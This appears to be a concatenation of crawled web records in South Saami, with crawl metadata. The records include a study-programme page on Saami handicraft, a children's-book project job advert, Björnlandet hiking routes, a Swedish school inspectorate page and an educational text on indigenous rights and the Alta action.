Studijelåhkoe: DUO 122\n- Ööhpehtimmieplaane åarjelsaemien\n- Studieplan\n- Pensume \/ pensumliste\n- Lohkehtimmien, tjåanghkoeh jïh tæjmoeplaane daesnie gaavnh!\nSisvege\nStudijisnie leara soejkesjidh, vytnesjidh jïh vætnoem åehpiedehtedh. Learoe praktihkes jïh teorijes daajroem studentese faala mij viehkine gosse vætnojne tjiehpiesligke barkedh jïh jïjtse maahtoeh jïh goerkesh vijriemdidh vætnoefaagen sisnjelen. Learosne vuekieh leara tjoelmeloetemistie, mah aevhkine gosse studente soejkesjeminie, hammodeminie jïh vytnesjeminie. Studente leara gïengelåbpoe barkedh vætnoen aerpievuekiejgujmie jïh vætnoejealajehtieminie.\nLohkehtimmiegïele\nÖöhpehtimmien åejviegïele åarjelsaemien. Åesie lohkehtimmeste dovne daaroen.\nEksaamenem saemien- jallh daaroenligke maahta tjïrrehtidh.\nLïerehtimmie- jïh lïeremevuekieh\nVytnesjimmieboelhkh, lohkehtallemh, dåehkiebarkoeh, laavenjassh, portfolio (barkoegærjetje jïh gaervies vætnoe), bïhkemdimmie, seminaarh jïh vætnoevuesiehtimmietseegkeme.\nLehkie learoste öörneldh ööhpehtimmie (vytnesjimmie, lohkehtallemh, bïhkemdimmie, seminaarh j.n.v.) mubpiem lehkiem learoste dam maam studente jïjtje stuvrehte (vytnesjidh, lohkedh, tjaeledh, laavenjassh tjuevtedh, jïermestalledh j.n.v.).\nSisabeassangáibádusat\nSïejhme baahtsemeskrïevenassh jolleben ööhpehtæmman. Maahta daase baahtsedh ihkie sïejhme studijemaahtojne (jåarhkeskuvlem tjïrrehtamme) jallh realmaahtaldahkine. Dïsse lissine saemiengïele- jïh vætnoemaahtoe krïevenassine aaj.\nSaemiengïelekrïevenassem maahta daej vuekiej mietie buektiehtidh: Åarjelsaemien lohkeme 1., 2. gïeline jallh ammesgïeline Nöörjen jåarhkeskuvlesne. Jallh jis Sveerjen gymnaasesne åarjelsaemien lohkeme ietniengïeline (modersmål 200 tsiehkieh) jallh orreaajketje gïeline (moderna språk 200–300 tsiehkieh), jallh mij aadtjetje moeneme saemiengïeleööhpehtimmiej vaastojne sjeahta daan baaletje njoelkedassi mietie. Gïelekrïevenassem aaj maahta buektiehtidh åarjelsaemien semeesterelearojne (30 studijetsiehkieh) jallh mejnie dan learoen vaastojne lea, jallh jis åarjelsaemien gïelepryövem tjïrrehte maam Saemien jolleskuvle tjåadtjohte. Jis ij leah vihties guktemes gïelemaahtaldahke ohtsijen lea, dellie aamhtese uvte bïejesåvva edtja faagen tsegkie vierhtiedovvedh jïh dle gïetedallesovvedh dan mietie.\nOhtsije tjeahta vytnesjimmiemaahtoem vuesiehtidh jïh galka 5–8 guvvieh seedtedh jïjtse darjome vætnoste jallh 2–3 guvvieh vætnoeprosjektijste gusnie dïhte kreatijve barkoe veele vååjnoe. Jis ohtsijen vætnoefaageprievie jallh jis learoem tjïrrehtamme vætnoeskuvlesne jallh jeatjh vætnoelearoem vaadtseme, dellie ohtsije faageprieviem jallh studijevihtestahkem maahta seedtedh jïh dam vætnoemaahtaldahkine åadtjodh dåhkasjovvedh.","id":"","dump":"CC-MAIN-2022-27","url":"http:\/\/samiskhs.no\/se\/studier\/aerpievuekien-vaetnam-vaarjelidh-jih-jealajehtedh","date":"2022-07-05T22:31:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104628307.87\/warc\/CC-MAIN-20220705205356-20220705235356-00525.warc.gz","language":"sma","language_score":1.0000010729,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 1.000001072883606}","num_words":291,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.086,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Prosjekteåvtehke\nMijjieh aktem prosjekteåvtehkem ohtsedibie mij maahta gærjine \"Mov voestes gærja\" barkedh man våarome lea åarjelsaemien gïele jïh kultuvre. Gærja edtja åarjelsaemien gïelesne årrodh, jïh sisvege edtja årrodh saemien rijmh jïh raajroeh, vaajesh jïh heamturh, laavlomh jnv.\nProsjekteåvtehke tjuara maehtedh jïjtjeraarehke jïh ulmien vööste barkedh tïjjesoejkesjen mietie jïh dallatjinie aelkedh. Mijjieh aktem almetjem ohtsedibie åarjelsaemien gïeledaajrojne, dovne tjaaleldh jïh njaalmeldh. Eeremasth aarebi dååjrehtimmine gærjadorjemassine.\nProsjektebuerkiestimmie:\nDorjese edtja \"Mov voestes gærja\" sjïdtedh, man våarome lea åarjelsaemien gïele jïh kultuvre, jïh dan baalte akte CD åarjelsaemien maanalaavlomigujmie.\nUlmiedåehkie lea eeremasth maanetje-eejhtegh, men aaj jeatjah ïedtjeladtjh.\nProsjektebarkoe sæjhta årrodh bïevnesh reebledh, materijaalem åarjelsaemien gïelesne darjodh jïh gærjam hammoedidh hammoedæjjine\/grafihkerinie ektine. Sæjhta akte referansedåehkie årrodh mij sæjhta viehkine årrodh barkosne.\nBaalhka latjkoen mietie:\nTïjjesoejkesje:\n– Prosjekteaalkoe ruffien 2015\n– Materijaalem reebledh ruffien – rïhkeden\n– Materijaalem gïetedalledh, grafihke jïh hammoe rïhkeden- gålkoen\n– Sisvege gaervies gålkoen\n-Staeriedimmie\n-Trygkeme goeven 10.b.\n-Deallahtimmie goevten\nOhtseme seedtesåvva:\nHanne-Lena Wilks\nBiejjieladtje åvtehke gïelejarngesne\/ Daglig leder språksenteret Gïelem nastedh Herredshuset 7760 Snåase\/Snåsa mail: [email protected]\nTell.: +47 919 15 182\nOhtsememierie ruffien 1.b. 2105","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/gielemnastedh.no\/2015\/05\/prosjekteavtehke\/","date":"2022-06-25T16:47:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103036077.8\/warc\/CC-MAIN-20220625160220-20220625190220-00637.warc.gz","language":"sma","language_score":0.9999964237,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999964237213135}","num_words":163,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.11,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Björnlandesne vaanterdidh\nDatne sïjhth Björnlanden nasjonaaleparhkesne vaanterdidh? Dan vuelelen naan baalkah dutnjien.\nVásádusá birra\nSåemies sijjesne gïerve vaedtsedh jïh dan gaavhtan mijjieh libie baalkah dorjeme mestie aelkebe darjodh vaedtsiejidie. Maahta dej baalkaj mietie vaedtsedh guktie sæjhta. Baalka mij tjaangemesijjeste Angsjö vuestelen bïhkedidh mohte ij viskes baalka mij mietie-biejjiem bïhkedidh tjaangemesijjeste Häggsjö.\nKaarhte baalkine, eatnaminie jïh gåetine.\nDatne sïjhth kaarhtem mij vuesehte Björnlanden nasjonaaleparhke?\nDatne maahtah dam namhtah dængkodh jis mejlem tjaalah:\nGuldbäcksleden, 7 km\/3 tæjmoeh\nDåeredh: Oransje baalkaj tsïegli mietie. Voestegh datne båatah Björnbergen lihpieeatnamasse. Debpede våålese goeseskåajjese Guldbäcken mietie gusnie saalji gaskem gïtnine vaedtsieminie. Dan mænngan prïennedahken tjïrrh mij bueliejin jaepien 1970 Angsjökojan gåajkoe Angsjön jaevriegaedtesne. Minngemes vaadtsah baalkan mietie nasjonaaleparhken gaskoedajvesne gusnie 500-jaepien båeries bietsieh jïh aavroeh. Aelhkies medtiegïerve vaanterdimmie.\nUrskogsrundan, 2,6 km\/1 tæjmoe\nDåeredh: Lijla baalkaj tsïegli mietie. Aelkieh tjaangemesijjeste Angsjö jïh vaedtsieh gaaltijen baaktoe baalkan mietie. Måedtieh tjuetieh meteeri mænngan båeries skåajjem jaksh. Baalkan mietie vaadtsah aavroeh jïh bietsiej gaskem. Angsjökojan jaksh jis Angsjöbaalkan mietie vaadtsah (rööpses). Ståaposne maahtah lïegkedidh, kaeffiestalledh jallh kaanne jïjjedidh.\nAngsjöleden, 3,7 km\/2 tæjmoeh\nDåeredh: Rööpses baalkan tsïegli mietie. Tjaangemesijjien mænngan gusnie baalka, bïevnesh, lïegkedimmiesijjie, gaaltije jïh gullienaestie dellie baalka jåarhka plueviej rastah jïh båeries skåajjen tjïrrh. Medtie 1 kilomeetere dellie Angsjökojan jaksh. Jis jaevrien bïjre jåarhkah dellie Björkbäcken restiemdh jïh deavaj gaskem båatah. Beetsehken tjïrrh åarjelen Angsjön. Gellie stoerre saaljh gïtnine. Baalka praare bæjjese soe vaedtsieh soejmilaakan. Minngiegietjesne baalka båeries deepmesjimmine jïh tjaebpies pruvvien nelnie Angsjöbäcken rastah bååstide tjaangemesæjjan Angsjö. Gïjregiesien maahta dovne njoktjh jïh tjååtselh vuejnedh jaevrien luspesne.\nRönnlandsrundan, 4 km\/2-3 tæjmoeh\nDåeredh: Viskes baalkan tsïegli mietie. Aelkieh tjaangemesijjeste Häggsjö. Tjaangemesijjeste Häggsjö ryöktesth bïerjen nelnie. Jis biejjien mietie vaadtsah dellie beavnardahkem jaksh Råtjärnem jïh parhken pluevieh vuajnah. Boelhketjh dellie aavreske jïh pruvvieh vaedtsijen viehkehte restiemdidh. Råtjärnen luvnie dovne beavnardahke jïh lïegkedimmiesijjie gusnie aernie jïh bïenghkh.\nBjörnlandsleden, 6,3 km\/2-3 tæjmoeh\nDåeredh: Plaave baalkan tsïegli mietie. Aelkieh tjaangemesijjeste Angsjö jallh tjaangemesijjeste Häggsjö. Baalka lea ryöktesth parhken tjïrrh. Baalka aktene dovne Svärmorsleden jïh Angsjöleden soe maahtah bïjre jarkan vaedtsedh. Aelhkies vuj medtiegïerve vaanterdimmie.\nSvärmorsleden, 12 km\/5-8 tæjmoeh\nDåeredh: Kruana baalkan tsïegli mietie. Kaanne faamohkommes baalka parhkesne. Sjïehteles hïeljevaanterdimmie aalka bearjadahken iehkede Angsjöståaposne. Laavvadahken dellie hijven Svärmorsståapoen gåajkoe vaedtsedh. Vaeltieh aktem dejstie baalkijste Björnbergen gåajkoe. Dåeredh dellie kruana baalkam Svärmorsståapose. Tjaangemesijjeste Angsjö medtie 6 km Svärmorsståapose, men ussjedh akte kilomeetere skåajjesne guhkiem vaedtsedh enn geajnosne.\n- Ájgge\n-\nGïjre, giesie jïh tjaktje\n- Sierralágásj räjddo\n-\nJis datne edtjh parhkesne årrodh baalkaj baalte hijven jis dov leah steeblegh vuj tjaetsehkh. Lissine hijven jis eensi vaarjoeh jïh ebrievaarjoeh. Giesien jïjnjh tjoejhkh. Dellie hijven jis gajpe jïh tjoejhkedaalhkesh meatan.\n-","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/www.sverigesnationalparker.se\/smj\/vallji-suoddjimparkav\/bjornlandet-suoddjimparkka\/Upplevelser\/bjornlandesne-vaanterdidh\/","date":"2022-06-25T07:41:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103034877.9\/warc\/CC-MAIN-20220625065404-20220625095404-00685.warc.gz","language":"sma","language_score":0.9999941587,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.999994158744812}","num_words":410,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.056,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse Fylhkenålma ohtsemh gaahpoetijjen bïjre gïetede aejlegi jïh bissiebiejjiej, edtja uvtemes barkijidie krööhkestidh. Fylhkenålma lahtestimmieh jienebh guejmijste vedtjie, jïh dannasinie byöroe ohtsemem dispensasjovnen bïjre seedtedh 1-2 askh åvtelen dam sjyöhtehke biejjiem.\nOhtsemen mietie tjïelteste Fylhkenålma maahta nænnoestidh akte dajve edtja ryöknesovvedh goh akte sjïere turistesijjie abpe jaepiem jallh bielieh jaepeste. Dellie ij leah naan gaertjiedimmieh gaahpoetijjen bïjre, laakesne bissiebiejjiej jïh bissiebiejjieraeffien bïjre.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/www.statsforvalteren.no\/sma\/Vest-Agderen\/Almetjh-jih-siebriedahke\/Gaahpoetijjh-doekemesijjide\/","date":"2022-07-05T19:51:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104597905.85\/warc\/CC-MAIN-20220705174927-20220705204927-00469.warc.gz","language":"sma","language_score":0.9999957085,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9999957084655762}","num_words":61,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.164,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Noerhtedajvepolitihke stoerre haestemh sjugnede aalkoeåålmegidie, nasjonaale åejvieladtjide jïh industrijeïedtjeadtjide aalkoeåålmegi eatnaminie jïh territorijinie.\nDïhte maahta effekth vedtedh mij ij leah buaratjommesasse aalkoeåålmegidie. Men seamma tïjjen nuepieh vadta almetjh vielie bearkan sjidtieh akten nænnoes jïh rïektes reeremen tjïrrh eatnemevierhtijste. Jielije saemien seabradahke lea vihkele premissedeallahtæjja aarvoesjugniedæmman jïh vierhtiereeremasse, aaj veartenevijries perspektijvesne. Tjuara dan åvteste noerhtedajvepolitihkem hammoedidh jïh tjïrrehtidh rååresjimmesne jïh laavenjostosne gaskem Saemiedigkiem, saemien reakta-aajhterh, saemien ïedtjeorganisasjovnh, åejvieladtjh jïh jielemeaktöörh.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/sametinget.no\/gaskenasjonaale-barkoe\/noerhtedajvh\/","date":"2022-06-28T03:28:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103347800.25\/warc\/CC-MAIN-20220628020322-20220628050322-00517.warc.gz","language":"sma","language_score":0.999963522,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999635219573975}","num_words":69,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.11,"stopwords_ratio":0.188,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemie (Sydsamiska)\nSkuvleinspeksjovne lea staaten reereme mij barka guktie gaajhkh maanah jïh learohkh gelkieh jearsoes jïh seamma vyörtegs ööhpehtimmiem åadtjodh.\nMijjieh skuvlide vaaksjoehtibie jïh nænnoestibie magkerh frïjje skuvlh åadtjoeh aelkedh jïh vuartasjibie mejtie skuvlide laaki jïh njoelkedassi mietie dåeriedieh.\nSkuvleinspeksjovnesne lea aaj Maana- jïh learohkesiebrie, MLS\nMaana- jïh learohkesiebrie (MLS) maanaj jïh learohki njoelkedassh jïh reaktoe vaaksjoeminie jïh vuartesjeminie mejtie irhkelimmieh jïh mïedtelimmieh skuvlesne lij. MLS maahta aaj maaksoem krïebpesjidh maanaj jïh learohki gaavhtan gïeh leah irhkelimmieh jïh mïedtelimmiem skuvlesne veerehtovveme.\nNåake Skuvlesne\nDaesnie bïevnese dutnjan gååvnesieh gie dååjrehtalla mejtie dåeriesmoerh skuvlesne lij jallh maana jallh learohke båajtoeh jallh nåakelaakan gïetedalla.\nLohkh vielie daesnie\nAarhskuvline jallh skuvline aalasidh\n- Jis leah dåeriesmoerh aarhskuvlesne\/skuvlesne galkh lohkehtæjjine, rektovrine jallh jeatjah barkijinie skuvlesne allasidh. Rektovren dïedte lea maanah\/ learohkh dåarjoem åadtjodh mah dah daarpesjieh. Rektovre lea aaj lohkehtæjja jïh barkiji åejvie aarhskuvlesne\/\nSoptsesth skuvleåejvine laejhtemeöörneginie\n- Jis leah ovsïemes guktie rektovre lea laavenjassem gïehtelamme galka åejvieålmine soptestalledh. Åejvieålman lea tjïelte jallh dïhte gie aajhtere jallh dïedtem åtna dennie frïjjeskuvline. Åejvieålman dïedte lea guktie maanah jïh learohkh hijven lohkehtimmiem åadtjoeh jïh jearsoesvoetem skuvlesne dobtoeh. Åejvieålma galka dåastodh jïh laejhtemeöörnegem goerehtidh.\n- Jis sïjhth laejhtemem åejvieålman laejhtemekööregaasse vedtedh, maahta bïevnesem ohtsedidh skuvlen viermiesæjrosne jallh åejvieålman viermiesæjrosne. Maahtah aaj viehkiem skuvleste gijhtedh.\nSkuvleinspeksjovnese laavenjassh vedtedh\nJis lea ïskeres dåeriesmoerh skuvlesne jïh ij skuvleåejvie daejtie dåeriesmoerh loevesjh maahtah skuvleinspeksjovnese bïeljelidh.\n- Ibie mijjieh gaajhkh laavenjasside gïetedallh maam mijjieh åadtjoejibie, mohte mijjieh vuartasjibie, destie mijjen barkoste jis galkijibie goerehtidh jïh guktie galkijibie dejnie barkedh.\n- Dïhte mij eajnahtovva jis mijjieh galkijibie laavenjassem goerehtidh lea mijjen aarebe dååjremem skuvlen jïh åejvieålman bïjre jïh jeatjah aamhtesh maam mijjieh libie åådtjeme. Dïhte maahta årrodh maam skuvle enkæætesne lea learohkigujmie, barkijinie jïh åeliealmetjinie tjaalasovveme, mijjen aarebistie goerehtallemen skuvlen bïjre jïh jeatjah staatestihke skuvlen bïjre.\n- Guktie gaajhkh learohkh skuvlesne gelkieh viehkiem åadtjodh skuvleinspeksjovneste mijjieh gellie aamhtesh skuvlesne goerehtibie jïh vaenebe aamhtesh mah leah barre learohki bïjre. Dïhte sæjhta jiehtedh jis aamhtsem skuvleinspeksjovnese båata mij lea learohken bïjre dle skuvleinspeksjovne maahta dam aamhtsen skuvledaltesisnie gïetedalledh.\n- Skuvleinspeksjovne jïh Maana- jïh learohkesibrie (MLS) naaken learohkeaamhtesh goerehtalla. Jis learohke skuvlesne mïetehtalla jallh learohkh jïjnjem gaatoe, jallh jeatjah ïskeres dåemiediemmie skuvlesne jis learohke dåarjoem daarpesje. Åvtele skuvleinspeksjovne jallh MLS goerehtallemem aalka dellie vihtesjibie jis staate daarpesje dam vaaksjodh. Dïhte sæjhta jiehtedh mijjieh vuartasjibie maam mijjieh skuvlen jïh åejvieålman bïjre aarebistie daejriejibie jïh guktie åejvieålma dåeriesmoeride gïehtele.\n- Læjhkan ibie mijjieh laejhtemem goerehtallh libie gæjhteles dov bïevnesi bïjre maam mijjide vadteme. Dov bïevnesh maehtiejibie ovmessie vuekine nuhtjedh jïh lea daerpies mijjen goerehtallemisnie skuvli bïjre.\nNemhtie mijjieh dov persovnebïevnesidie gïetedallijibie\nByjjesprinsihpe\nGaajhkh laavenjassh mah mijjide seedtesåvva gaajhkesh dovnesh åadtjoeh dam vuartasjidh. Ij Skuvleinspeksjovne laavenjassh vedtieh mah leah tjeakoes bïevnesh. Skuvleinspeksjovne galka aaj persovnebïevnesh vaarjelidh guktie eah gïeh ovnohkens almetjh bïevnesidie åadtjoeh lohkedh jïh nuhtjedh maam daatavaarjelimmienjoelkedassine mietie tjåådtje.\nPersovnelaavenjassedïedte\nSkuvleinspeksjovne galka persovnebïevnesidie vaarjelidh jïh geehtedh mah reeremem gïetedalla. Gosse mijjem gaskesadtedh dellie dejtie persovnebïevnesidie vuartasjibie.\n- Mijjem it-systeemesne registreereme.\n- Mubpie reeremasse bievnedh.\n- Reeremen sisnie gïetedalledh\n- Voebnesjidh jïh arkiveeredh.\nJienebh bïevnesh mijjen integriteetepolicy jïh dov reaktoe goh registreereme, vuartesjh https:\/\/www.skolinspektionen.se\/Om-oss\/integritetspolicy\/\nGaskesadtedh\nTelefovne: +46 (0) 8 586 080 00\nE-påaste: firstname.lastname@example.org\nPåaste: Box 23069, 104 35 Stockholm\nGuessiesijjie: Skolinspektionen, Sveavägen 159, Stockholm","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/skolinspektionen.se\/other-languages\/aarjelsaemie-sydsamiska\/","date":"2022-06-27T05:59:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103328647.18\/warc\/CC-MAIN-20220627043200-20220627073200-00124.warc.gz","language":"sma","language_score":1.0000029802,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 1.0000029802322388}","num_words":503,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Musihke feabpoeristie\nNyjsenæjjah gïeh feabpoerisnie berkin feabporen musihkem skaepiedin jïh improviseradin. Musihke lij barkoedïrrege.\nDïhte mij jeenjemes tsavtsa lea guvhkiehtimmie. Gosse datne guvhkehth dellie guhkies govloes. Jolle tonajgujmie meehtin juvrh bååstide båetedh, ovjuvrh dabpanin juvrijste jïh dïjrem seedtin måbpan vaegkien mubpien bielesne. Guvhkiehtimmie idtji edtjh tjaebpies jïh lïenes årrodh.\nDïhte lij veaksehke jïh frijje.","id":"","dump":"CC-MAIN-2022-27","url":"http:\/\/nolavonda.se\/sma\/musihke-feabpoeristie","date":"2022-07-05T06:24:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104514861.81\/warc\/CC-MAIN-20220705053147-20220705083147-00783.warc.gz","language":"sma","language_score":0.9999887943,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999887943267822}","num_words":54,"character_repetition_ratio":0.027,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.093,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"90 laantine abpe veartenisnie mahte tjåanghkan 370 millijovnh almetjh jielieh mah aalkoe-almetjinie ryöknesuvvieh (2015). Dah mah gohtjesuvvieh aboriginere Australijesne, maya-almetjh Åarjel-Amerijhkesne, inuihth Kalaallit Nunaatesne\/Kruanalaantesne jïh saemieh Saepmesne leah gaajhkh aalkoe-almetjh.\nAalkoe-almetjh\nAalkoe-almetjh leah daamtaj tjïelkestamme goh «almetjh mah ellieslaakan jallh såemiesmearan leah sijjen kultuvrem, aarvoeh jïh institusjovnh vaarjelamme, jïh mah aktene vihties laante-dajvesne veasoejin åvtelen stoerre-siebriedahke dam veelti, jallh staate tseegkesovvi» (ILO-konvensjovne nr. 169).\nAalkoe-almetjh leah tïjje doekoe vaenie jååhkesjimmiem åådtjeme. Jeenjesh leah gaertjiedamme jïjtjenænnoestimmie-reaktam åådtjeme dehtie staateste mesnie årroeminie, jïh jienebh leah dååjreme, jallh annje dåårjeminie, trïegkenassem jïh daaresjimmiem. Men jaepien 1989 veartenen aalkoealmetje-siebrieh nænnoesåbpoe reaktah åadtjoejin, gosse EN-årganisasjovne ILO (Gaskenasjonaale barkoe-årganisasjovne – International Labour Organization) konvensjovnem nr 169 nænnoesti.\nILO-konvensjovne nr. 169 aalkoe-almetji jïh krirrie-almetji bïjre jïjtje-raarehke staatine lea daan mearan dïhte aajnehke åeliedihks almetje-rïekteles dïrrege aalkoe-almetji reaktaj bïjre. Daate sæjhta jiehtedh gaajhkh laanth mah lea daam konvensjovnem jååhkesjamme, dïedtem utnieh dam bååjhtedh. Konvensjovne vuesiehtimmien gaavhtan bæjjese vaalta reaktam guektien-gïeleldh ööhpehtæmman, laante-reaktah jïh reakta meatan årrodh sjæjsjalimmie-prosessine. Mænngan konvensjovne nænnoestamme sjïdti, dellie abpe veartene aalkoe-almetjidie jïh dej reaktide vielie tjalmahtamme. Men aalkoe-almetjh aaj seamma tïjjen dååjreme dah bïejeskuvvieh. Goevten 2016 raajan ajve 22 laanth lin konvensjovnem jååhkesjamme. Ij leah daate akte stoerre taale gosse daejrebe aalkoe-almetjh 90 laantine jielieminie veartenisnie.\nAalkoealmetje-dåehkieh leah aaj gïrreme gosse heevehtimmieh jïh aavoedimmieh orreme kolonije-histovrijen sjïekenisnie. 500-jaepien-mïerhkesjimmesne Europan «aajhtsemistie» Latin-Amerijhkeste 1992, aalkoealmetje-dåehkieh krïevin sijjen reaktah jïh vierhtieh bååstede åadtjodh mah lin dejstie vaaltasovveme kolonije-reeremisnie.\nNöörje jïh aalkoealmetje-reaktah\nNöörjen staate guhkiem saemiej vööste nåakelaakan dåemiedi, jïh guhkiem 1900-låhkoen aktem garre «daaroedehteme-politihkem» stuvri. Rïektesisnie dle daate politihke edtji saemien kultuvrem tjelmiehtidh jïh våålese diedtedh, joekoen viehkine saemide nyöjhkedh jïjtsh gïelem skuvlesne nuhtjedh.\nNöörje mænngan eadtjohke tsevtsiedæjjine ILO-konvensjovnese sjïdti mij edtja aalkoe-almetjh vaarjelidh daaresjimmiej vööste staatijste. Konvensjovne jeahta aalkoe-almetjh reaktam utnieh jïjtsh kultuvrem jïh jïjtsh gïelem vaarjelidh jïh guhkiebasse evtiedidh. Lissine nænnoestimmieh åtna reaktaj bïjre eatneme-vierhtide, jïh eeke-reaktaj jïh reereme-reaktaj bïjre dej laante-dajvi bijjeli mejtie aalkoe-almetjh nuhtjieh.\nMaahta dam ahkedh stuerebe voerkesvoetem reaktaj bïjre Nöörjen aajnehke aalkoealmetje-dåahkan, saemide, ektiedidh disse mij daamtaj gohtjesåvva «Alta-aksjovne»-. Jaepien 1968 soejkesjimmie eelki aktede tjaetsiefaamoe-bigkemistie Alta-jeanoste Finnmaarhkesne. Destie stoerre vuastalimmie sjïdti, dan åvteste daate bigkeme sïjhti nåake konsekvensh vedtedh saemien båatsose, göölemasse jïh jåarta-bårran, jïh sjædtojde dajvesne. Jaepien 1978 Almetje-aksjovne bigkemen vööste Alta\/Guovdageaidnu-jeanoste tseegkesovvi. Aksjovne stoerre dåarjoem abpe laantesne åadtjoeji, jïh dan åvteste lij voestes aejkien tjoevkese bïejesovvi guktie stoerre-siebriedahke saemiej jielede-vuekiem jïh dej dajvh tsavtsa. Alta-aksjovne akte ræhpas ræjhtoe sjïdti gusnie saemien jïh voenges ïedtjh lin dennie aktene bielesne, eatnemevaarjelimmie-siebriejgujmie ektine, jïh dennie mubpene bielesne reerenasse, energije-åejvieladtjh jïh fylhkendigkie Finnmaarhkesne. Jalhts Almetje-aksjovne stoerre dåarjoem utni, Stoerredigkie bigkemem nænnoesti, jïh goh illedahke destie dle aksjovnisth sivijle neahkoevoetem åtnose veeltin, dah gïrrin jïh ånnetji mænngan aaj nealkoe-streejkem eelkin. Mænngan Nöörje gaskenasjonaale laejhtemem åadtjoeji sov gïetedimmien åvteste saemijste. Aamhtese aktine dåapmojne orriji Jollemes-reaktesne 1982, gusnie vihtiestin bigkeme lij luhpies. Almetje-aksjovne mænngan noelesovvi.\nAlta-aksjovne læjhkan aktem vihkeles galhkuvem åadtjoeji. Goh akte ryöktesth illedahke dehtie ov-vaantoste bigkemen bïjre Alta-jeanoste, Saemiereakta-moenehtse tseegkesovvi 1980. Ov-vaantoe vuesiehti lij daerpies tjïelkestidh guktie staate saemien kultuvrese jïh saemiej reaktide vööjni. Moenehtse sov voestes salkehtimmiem böökti 1984. Daate salkehtimmie våaromem bïeji akten jïjtse saemielaakese, mij bööti 1987, akte maadthlaake-paragraafe saemien gïelen, kultuvren jïh siebriedahken bïjre 1988, jïh tseegkeme dehtie almetje-veeljeme årgaaneste Saemiedigkie 1989.[1]\nBaakoeh\nSaemien\nDaaroen\nunnebelåhkoe\nmindretall\nellieslaakan\nhelt\nsåemiesmearan\ndelvis\njååhkesjimmie\nanerkjennelse\njïjtjenænnoestimmie-reakta\nselvbestemmelsesrett\ntrïegkenasse\nforfølgelse\ndaaresjimmie\novergrep\nkrirrie-almetjh\nstammefolk\njïjtje-raarehke\nselvstendig\ndaan mearan\ntil nå\nåeliedihks\nforpliktende\nalmetje-rïekteles\nfolkerettslig\nsjæjsjalimmie-prosesse\nbeslutningsprosess\ntjalmahtidh\nbli oppmerksom på\nbïejeskovvedh\nbli satt til side (overse)\nkolonije-reereme\nkoloniherredømme\ndaaroedehteme-politihke\nfornorskningspolitikk\nrïektesisnie\ni virkeligheten\ntjelmiehtidh\noverse\nsivijle neahkoevoete\nsivil ulydighet\nnealkoe-streejke\nsultestreik\njollemes-reakta\nhøyesterett\nvihtiestidh\nstadfeste, bli slått fast\nnoelesovvedh\nbli oppløst\nSaemiereakta-moenehtse\nSamerettsutvalget\nsalkehtimmie\nutredning\n- 1«Samerettsutvalget». Jon Knut Berg. Store Norske Leksikon. 2009.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ndla.no\/nb\/subject:20\/topic:1:198284\/topic:1:182011\/resource:1:178511\/4986","date":"2022-07-05T15:30:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104585887.84\/warc\/CC-MAIN-20220705144321-20220705174321-00182.warc.gz","language":"sma","language_score":0.9999884367,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 0.9999884366989136}","num_words":579,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"16\/12\/2019 Nils Egil Gaup Saemiedigkie stipendem vadta jåarhkeö- öhpehtæmman lohkehtæjjijste Gïetedimmesne Saemiedigkien budsjedteste 2020 nænnoesti stipendenuepide vijriedidh. Daelie lohkehtæjjah mah joe ööhpehtimmiem vaalteme, maehtieh stipendem åadtjodh ööhpehtimmiemaahtoem saemien gieline reebledh. 